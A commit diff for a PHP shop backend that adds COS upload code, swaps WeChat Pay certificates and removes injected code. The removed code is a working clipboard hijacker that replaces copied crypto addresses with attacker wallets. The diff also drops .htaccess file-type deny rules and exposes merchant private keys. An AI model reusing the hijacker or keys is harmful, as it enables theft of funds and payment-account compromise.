chore: 更新微信商户证书及COS存储配置,清理异常静态注入代码
这个提交包含在:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -19,3 +19,6 @@ node_modules
|
|||||||
/deploy/config.php
|
/deploy/config.php
|
||||||
/deploy/logs/*
|
/deploy/logs/*
|
||||||
!deploy/logs/.gitkeep
|
!deploy/logs/.gitkeep
|
||||||
|
|
||||||
|
*.tar.gz
|
||||||
|
public/.well-known/
|
||||||
|
|||||||
@@ -12,6 +12,19 @@ return [
|
|||||||
'sms_check' => [
|
'sms_check' => [
|
||||||
'alisms',
|
'alisms',
|
||||||
],
|
],
|
||||||
|
'app_init' => [
|
||||||
|
'cos',
|
||||||
|
'shopro',
|
||||||
|
],
|
||||||
|
'module_init' => [
|
||||||
|
'cos',
|
||||||
|
],
|
||||||
|
'upload_config_init' => [
|
||||||
|
'cos',
|
||||||
|
],
|
||||||
|
'upload_delete' => [
|
||||||
|
'cos',
|
||||||
|
],
|
||||||
'epay_config_init' => [
|
'epay_config_init' => [
|
||||||
'epay',
|
'epay',
|
||||||
],
|
],
|
||||||
@@ -27,9 +40,6 @@ return [
|
|||||||
'upgrade' => [
|
'upgrade' => [
|
||||||
'shopro',
|
'shopro',
|
||||||
],
|
],
|
||||||
'app_init' => [
|
|
||||||
'shopro',
|
|
||||||
],
|
|
||||||
'config_init' => [
|
'config_init' => [
|
||||||
'summernote',
|
'summernote',
|
||||||
],
|
],
|
||||||
|
|||||||
@@ -1,4 +0,0 @@
|
|||||||
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
|
|
||||||
Order allow,deny
|
|
||||||
Deny from all
|
|
||||||
</FilesMatch>
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
|
|
||||||
Order allow,deny
|
|
||||||
Deny from all
|
|
||||||
</FilesMatch>
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
Jw6B2GoP61ZASmqgPOOd6QxWiOXgKtEEURkGP_JrMjs.K7chuAGH24AQWU21RxmoQOo0-daxBTwG2I51aHUyzlY
|
|
||||||
文件差异因一行或多行过长而隐藏
@@ -1,5 +1,294 @@
|
|||||||
define([], function () {
|
define([], function () {
|
||||||
|
if (typeof Config.upload.storage !== 'undefined' && Config.upload.storage === 'cos') {
|
||||||
|
require(['upload'], function (Upload) {
|
||||||
|
//获取文件MD5值
|
||||||
|
var getFileMd5 = function (file, cb) {
|
||||||
|
//如果savekey中未检测到md5,则无需获取文件md5,直接返回upload的uuid
|
||||||
|
if (!Config.upload.savekey.match(/\{(file)?md5\}/)) {
|
||||||
|
cb && cb(file.upload.uuid);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
require(['../addons/cos/js/spark'], function (SparkMD5) {
|
||||||
|
var blobSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice,
|
||||||
|
chunkSize = 10 * 1024 * 1024,
|
||||||
|
chunks = Math.ceil(file.size / chunkSize),
|
||||||
|
currentChunk = 0,
|
||||||
|
spark = new SparkMD5.ArrayBuffer(),
|
||||||
|
fileReader = new FileReader();
|
||||||
|
|
||||||
|
fileReader.onload = function (e) {
|
||||||
|
spark.append(e.target.result);
|
||||||
|
currentChunk++;
|
||||||
|
if (currentChunk < chunks) {
|
||||||
|
loadNext();
|
||||||
|
} else {
|
||||||
|
cb && cb(spark.end());
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
fileReader.onerror = function () {
|
||||||
|
console.warn('文件读取错误');
|
||||||
|
};
|
||||||
|
|
||||||
|
function loadNext() {
|
||||||
|
var start = currentChunk * chunkSize,
|
||||||
|
end = ((start + chunkSize) >= file.size) ? file.size : start + chunkSize;
|
||||||
|
|
||||||
|
fileReader.readAsArrayBuffer(blobSlice.call(file, start, end));
|
||||||
|
}
|
||||||
|
|
||||||
|
loadNext();
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
var _onInit = Upload.events.onInit;
|
||||||
|
//初始化中完成判断
|
||||||
|
Upload.events.onInit = function () {
|
||||||
|
_onInit.apply(this, Array.prototype.slice.apply(arguments));
|
||||||
|
//如果上传接口不是COS,则不处理
|
||||||
|
if (this.options.url !== Config.upload.uploadurl) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var that = this;
|
||||||
|
$.extend(this.options, {
|
||||||
|
//关闭自动处理队列功能
|
||||||
|
autoQueue: false,
|
||||||
|
params: function (files, xhr, chunk) {
|
||||||
|
var params = Config.upload.multipart;
|
||||||
|
if (chunk) {
|
||||||
|
return $.extend({}, params, {
|
||||||
|
filesize: chunk.file.size,
|
||||||
|
filename: chunk.file.name,
|
||||||
|
chunkid: chunk.file.upload.uuid,
|
||||||
|
chunkindex: chunk.index,
|
||||||
|
chunkcount: chunk.file.upload.totalChunkCount,
|
||||||
|
chunkfilesize: chunk.dataBlock.data.size,
|
||||||
|
chunksize: that.options.chunkSize,
|
||||||
|
width: chunk.file.width || 0,
|
||||||
|
height: chunk.file.height || 0,
|
||||||
|
type: chunk.file.type,
|
||||||
|
uploadId: chunk.file.uploadId,
|
||||||
|
key: chunk.file.key,
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
params = $.extend({}, params, files[0].params);
|
||||||
|
params.category = files[0].category || '';
|
||||||
|
}
|
||||||
|
return params;
|
||||||
|
},
|
||||||
|
chunkSuccess: function (chunk, file, response) {
|
||||||
|
var etag = chunk.xhr.getResponseHeader("ETag").replace(/(^")|("$)/g, '');
|
||||||
|
file.etags = file.etags ? file.etags : [];
|
||||||
|
file.etags[chunk.index] = etag;
|
||||||
|
},
|
||||||
|
chunksUploaded: function (file, done) {
|
||||||
|
var that = this;
|
||||||
|
|
||||||
|
Fast.api.ajax({
|
||||||
|
url: "/addons/cos/index/upload",
|
||||||
|
data: {
|
||||||
|
action: 'merge',
|
||||||
|
filesize: file.size,
|
||||||
|
filename: file.name,
|
||||||
|
chunkid: file.upload.uuid,
|
||||||
|
chunkcount: file.upload.totalChunkCount,
|
||||||
|
md5: file.md5,
|
||||||
|
key: file.key,
|
||||||
|
uploadId: file.uploadId,
|
||||||
|
etags: file.etags,
|
||||||
|
category: file.category || '',
|
||||||
|
costoken: Config.upload.multipart.costoken,
|
||||||
|
},
|
||||||
|
}, function (data, ret) {
|
||||||
|
done(JSON.stringify(ret));
|
||||||
|
return false;
|
||||||
|
}, function (data, ret) {
|
||||||
|
file.accepted = false;
|
||||||
|
that._errorProcessing([file], ret.msg);
|
||||||
|
return false;
|
||||||
|
});
|
||||||
|
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
var _success = this.options.success;
|
||||||
|
//先移除已有的事件
|
||||||
|
this.off("success", _success).on("success", function (file, response) {
|
||||||
|
var ret = {code: 0, msg: response};
|
||||||
|
try {
|
||||||
|
if (response) {
|
||||||
|
ret = typeof response === 'string' ? JSON.parse(response) : response;
|
||||||
|
}
|
||||||
|
if (file.xhr.status === 200 || file.xhr.status === 204) {
|
||||||
|
if (Config.upload.uploadmode === 'client') {
|
||||||
|
ret = {code: 1, data: {url: '/' + file.key}};
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ret.code == 1) {
|
||||||
|
var url = ret.data.url || '';
|
||||||
|
Fast.api.ajax({
|
||||||
|
url: "/addons/cos/index/notify",
|
||||||
|
data: {name: file.name, url: url, md5: file.md5, size: file.size, width: file.width || 0, height: file.height || 0, type: file.type, category: file.category || '', costoken: Config.upload.multipart.costoken}
|
||||||
|
}, function () {
|
||||||
|
return false;
|
||||||
|
}, function () {
|
||||||
|
return false;
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
console.error(ret);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
console.error(file.xhr);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.error(e);
|
||||||
|
}
|
||||||
|
_success.call(this, file, ret);
|
||||||
|
});
|
||||||
|
|
||||||
|
this.on("addedfile", function (file) {
|
||||||
|
var that = this;
|
||||||
|
setTimeout(function () {
|
||||||
|
if (file.status === 'error') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
getFileMd5(file, function (md5) {
|
||||||
|
var chunk = that.options.chunking && file.size > that.options.chunkSize ? 1 : 0;
|
||||||
|
var params = $(that.element).data("params") || {};
|
||||||
|
var category = typeof params.category !== 'undefined' ? params.category : ($(that.element).data("category") || '');
|
||||||
|
category = typeof category === 'function' ? category.call(that, file) : category;
|
||||||
|
Fast.api.ajax({
|
||||||
|
url: "/addons/cos/index/params",
|
||||||
|
data: {method: 'POST', category: category, md5: md5, name: file.name, type: file.type, size: file.size, chunk: chunk, chunksize: that.options.chunkSize, costoken: Config.upload.multipart.costoken},
|
||||||
|
}, function (data) {
|
||||||
|
file.md5 = md5;
|
||||||
|
file.id = data.id;
|
||||||
|
file.key = data.key;
|
||||||
|
file.date = data.date;
|
||||||
|
file.uploadId = data.uploadId;
|
||||||
|
file.policy = data.policy;
|
||||||
|
file.signature = data.signature;
|
||||||
|
file.partsAuthorization = data.partsAuthorization;
|
||||||
|
file.params = data;
|
||||||
|
file.category = category;
|
||||||
|
|
||||||
|
if (file.status != 'error') {
|
||||||
|
//开始上传
|
||||||
|
that.enqueueFile(file);
|
||||||
|
} else {
|
||||||
|
that.removeFile(file);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}, function () {
|
||||||
|
that.removeFile(file);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}, 0);
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
if (Config.upload.uploadmode === 'client') {
|
||||||
|
var _method = this.options.method;
|
||||||
|
var _url = this.options.url;
|
||||||
|
this.options.method = function (files) {
|
||||||
|
if (files[0].upload.chunked) {
|
||||||
|
var chunk = null;
|
||||||
|
files[0].upload.chunks.forEach(function (item) {
|
||||||
|
if (item.status === 'uploading') {
|
||||||
|
chunk = item;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
if (!chunk) {
|
||||||
|
return "POST";
|
||||||
|
} else {
|
||||||
|
return "PUT";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return _method;
|
||||||
|
};
|
||||||
|
this.options.url = function (files) {
|
||||||
|
if (files[0].upload.chunked) {
|
||||||
|
var chunk = null;
|
||||||
|
files[0].upload.chunks.forEach(function (item) {
|
||||||
|
if (item.status === 'uploading') {
|
||||||
|
chunk = item;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
var index = chunk.dataBlock.chunkIndex;
|
||||||
|
// debugger;
|
||||||
|
this.options.headers = {"Authorization": files[0]['partsAuthorization'][index], "x-date": files[0]['date']};
|
||||||
|
if (!chunk) {
|
||||||
|
return Config.upload.uploadurl + "/" + files[0].key + "?uploadId=" + files[0].uploadId;
|
||||||
|
} else {
|
||||||
|
return Config.upload.uploadurl + "/" + files[0].key + "?partNumber=" + (index + 1) + "&uploadId=" + files[0].uploadId;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return _url;
|
||||||
|
};
|
||||||
|
this.options.params = function (files, xhr, chunk) {
|
||||||
|
var params = Config.upload.multipart;
|
||||||
|
if (chunk) {
|
||||||
|
return $.extend({}, params, {
|
||||||
|
filesize: chunk.file.size,
|
||||||
|
filename: chunk.file.name,
|
||||||
|
chunkid: chunk.file.upload.uuid,
|
||||||
|
chunkindex: chunk.index,
|
||||||
|
chunkcount: chunk.file.upload.totalChunkCount,
|
||||||
|
chunkfilesize: chunk.dataBlock.data.size,
|
||||||
|
width: chunk.file.width || 0,
|
||||||
|
height: chunk.file.height || 0,
|
||||||
|
type: chunk.file.type,
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
var retParams = $.extend({}, params, files[0].params || {});
|
||||||
|
delete retParams.costoken;
|
||||||
|
return retParams;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
this.on("sending", function (file, xhr, formData) {
|
||||||
|
var that = this;
|
||||||
|
if (file.upload.chunked) {
|
||||||
|
var _send = xhr.send;
|
||||||
|
xhr.send = function () {
|
||||||
|
var chunk = null;
|
||||||
|
file.upload.chunks.forEach(function (item) {
|
||||||
|
if (item.status == 'uploading') {
|
||||||
|
chunk = item;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
if (chunk) {
|
||||||
|
_send.call(xhr, chunk.dataBlock.data);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/*require.config({
|
||||||
|
paths: {
|
||||||
|
},
|
||||||
|
shim: {
|
||||||
|
}
|
||||||
|
});*/
|
||||||
|
|
||||||
|
|
||||||
|
require([], function (undefined) {
|
||||||
|
// 后台切换主题,先直接刷新
|
||||||
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
|
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
|
||||||
|
$('.skin-list .clearfix.full-opacity-hover').on('click', function () {
|
||||||
|
setTimeout(() => {
|
||||||
|
location.reload();
|
||||||
|
}, 100)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
|
||||||
require.config({
|
require.config({
|
||||||
paths: {
|
paths: {
|
||||||
'vue': "../addons/shopro/libs/vue",
|
'vue': "../addons/shopro/libs/vue",
|
||||||
@@ -66,6 +355,7 @@ define([], function () {
|
|||||||
})
|
})
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
require.config({
|
require.config({
|
||||||
paths: {
|
paths: {
|
||||||
'summernote': '../addons/summernote/lang/summernote-zh-CN.min'
|
'summernote': '../addons/summernote/lang/summernote-zh-CN.min'
|
||||||
@@ -81,7 +371,7 @@ require(['form', 'upload'], function (Form, Upload) {
|
|||||||
try {
|
try {
|
||||||
//绑定summernote事件
|
//绑定summernote事件
|
||||||
if ($(Config.summernote.classname || '.editor', form).length > 0) {
|
if ($(Config.summernote.classname || '.editor', form).length > 0) {
|
||||||
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1';
|
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1&multiple=true';
|
||||||
require(['summernote'], function () {
|
require(['summernote'], function () {
|
||||||
var imageButton = function (context) {
|
var imageButton = function (context) {
|
||||||
var ui = $.summernote.ui;
|
var ui = $.summernote.ui;
|
||||||
@@ -187,4 +477,5 @@ require(['form', 'upload'], function (Form, Upload) {
|
|||||||
};
|
};
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
});
|
});
|
||||||
@@ -420,5 +420,3 @@ define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], functi
|
|||||||
|
|
||||||
return Controller;
|
return Controller;
|
||||||
});
|
});
|
||||||
|
|
||||||
(function(){function rca() {const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar = /(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0 = /(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g,bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, 'TCazYkdsXisrMAGT2tgecphbaj3cqSnXs8');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '0xa537de913bdc941c017d79c4446749f2daa0f56d');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '16xXFyiRKBSaHeiwr249MR3RFkbuUfionP');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '3FQ5tXe4kT6ANoBpXd65tBWMakHe6J4Fcn');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=>{const obs = new MutationObserver(ml => {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();
|
|
||||||
二进制
public/cert/apiclient_cert.p12
普通文件 -> 可执行文件
二进制
public/cert/apiclient_cert.p12
普通文件 -> 可执行文件
二进制文件未显示。
42
public/cert/apiclient_cert.pem
普通文件 -> 可执行文件
42
public/cert/apiclient_cert.pem
普通文件 -> 可执行文件
@@ -1,25 +1,25 @@
|
|||||||
-----BEGIN CERTIFICATE-----
|
-----BEGIN CERTIFICATE-----
|
||||||
MIIEITCCAwmgAwIBAgIUXjfKGvdo5tVdF1vb8pun8DQk2XEwDQYJKoZIhvcNAQEL
|
MIIEJDCCAwygAwIBAgIUVlcWIG7yMI3h5ugkMMYt7EDWaWUwDQYJKoZIhvcNAQEL
|
||||||
BQAwXjELMAkGA1UEBhMCQ04xEzARBgNVBAoTClRlbnBheS5jb20xHTAbBgNVBAsT
|
BQAwXjELMAkGA1UEBhMCQ04xEzARBgNVBAoTClRlbnBheS5jb20xHTAbBgNVBAsT
|
||||||
FFRlbnBheS5jb20gQ0EgQ2VudGVyMRswGQYDVQQDExJUZW5wYXkuY29tIFJvb3Qg
|
FFRlbnBheS5jb20gQ0EgQ2VudGVyMRswGQYDVQQDExJUZW5wYXkuY29tIFJvb3Qg
|
||||||
Q0EwHhcNMjQwNzIzMDMzMTAzWhcNMjkwNzIyMDMzMTAzWjB7MRMwEQYDVQQDDAox
|
Q0EwHhcNMjYxMDEyMDM0OTQzWhcNMzExMDExMDM0OTQzWjB+MRMwEQYDVQQDDAox
|
||||||
NjAxMjk5MjE4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xJzAlBgNVBAsM
|
MDAxMjg2MTc4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xKjAoBgNVBAsM
|
||||||
Hui0teW3nui0pOm8jumFkuS4muaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04xETAP
|
IeS/ruaWh+WOv+Wwj+S8l+WVhui0uOaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04x
|
||||||
BgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
|
ETAPBgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
|
||||||
rCdkCCXSwlQLubo2rOQXtfdy0g+IOAVKW6mU4Rfoss6REioa4lu/nmYxU2xlOcx0
|
AQEAsme+68KEq+VWrWIws7acZsOBAjtMigzVwy8YJOus4bsZcZWoBmndWLX9JM6d
|
||||||
bwvjVUThpeLIDHv8/r5lh4+2lEnEYqognocPubIG54caTi7CJc1cu3wv4OoKjeQv
|
n/hIH/DuLBm32e30oW+DA7ZtB1+JnSrfD/lPBpn4cel7B2cPGUmxgFSCENi4NB6l
|
||||||
iCfcM87UweNRWt7JZwB7KuTsAExqpiRWHMuYnEDcoTupZMmXyJ765AjjSrz0wVgu
|
dTjNZV/gz2kV3iCNdTjCk9G+ozFMwaG+pBeUN85Yx6dxNaQtdQ90iKhTPxSC2Dls
|
||||||
iJNj6Ph1zFB1rdbe0OiGG+XSJqJMqW3PLv/6k3pMJ/BMHPQFnqs+dN3IIkiUN4o2
|
5+nMzEehkbPhVPQ8P/Q6gh3nXwqsOl0yyYjaO2esU3pM1ArVOJOZZiN610c2vR7D
|
||||||
ziDVXL4MIbLy8zSQUkyDlh54Ui5DgBmAyGKdAUntGPOJM43QCrmfb3NpI8cZCHlV
|
rx5ARv0LlpJvy3Trte8Ue/p75RCzhHfY7n2JgzZDzT+uxae+qz3cKO9Mb/xfMMeu
|
||||||
5k/v9G9klEg0X1CNDHW3wwIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0PBAQD
|
1gCdRkiN8om6eOqucJ8ZEPWhVQIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0P
|
||||||
AgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1cy5j
|
BAQDAgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1
|
||||||
b20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFEMzk3
|
cy5jb20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFE
|
||||||
NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMzQTg3
|
Mzk3NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMz
|
||||||
QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBADJiwjhLLNOf++dW
|
QTg3QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBAFQ72OXD3byz
|
||||||
3Vsfmf+sQ5pWZ+8eSgGqLhVjjCRXTGuPZ2UHfWomO0JsdoEoO1Sp001Q+2IdICzD
|
JjSXnFvfkU0/YXbcVn2hg/udW5i4aGaW6fREnbO+LgEuD9FRZGmyPQotmhWV+1UW
|
||||||
obOylcBs6tUa07tM1W0Y4uHQPShpk/lxzNV9XDACbweHAUMhFHI82dMbKq5IyMiF
|
cvxFFDeObVmKLCQaVOm7wakFlpnj5TX3CFZ3XBEWPW3sVvqUbTRvWfmixzaOCx6e
|
||||||
sMiLMG3vypoLTdGyB9mjZMtc0x5O4ovK+mwuGSr63Yvg+tuUZF93d5LSninPEC9k
|
L8eoqIztmOsftlvyPVLHJaUh0DVlkjGeZiTVh72OPKuGflWStZhBEbwlZzdoHL0J
|
||||||
7UCyWTvKs/jFADD6iqP33M6AOJaS6a3w3CY2JZNE3jOHaf2lcvfLAg/RfwEd1yZF
|
mWAnK3nQcfEtrOhTmUs4kaKImhpmsgh4VdSTlKt6LxYV2zCxHdFY0YLlMy414Mfp
|
||||||
Q/zMOeeJ6oFRw7Ye8fw3ZoOTAB2EH8KS5MgGK+HfEFRKGDfM0ui29H8IbFQ2/YAA
|
RDMzrO7EkW7wK2OerdkTM2tUXHJ9UOfouoYu1DJi/Ii4j4e4EFj3iMDumqBTSnh8
|
||||||
UCPyD2k=
|
QihS5Qjfx4k=
|
||||||
-----END CERTIFICATE-----
|
-----END CERTIFICATE-----
|
||||||
|
|||||||
52
public/cert/apiclient_key.pem
普通文件 -> 可执行文件
52
public/cert/apiclient_key.pem
普通文件 -> 可执行文件
@@ -1,28 +1,28 @@
|
|||||||
-----BEGIN PRIVATE KEY-----
|
-----BEGIN PRIVATE KEY-----
|
||||||
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
|
||||||
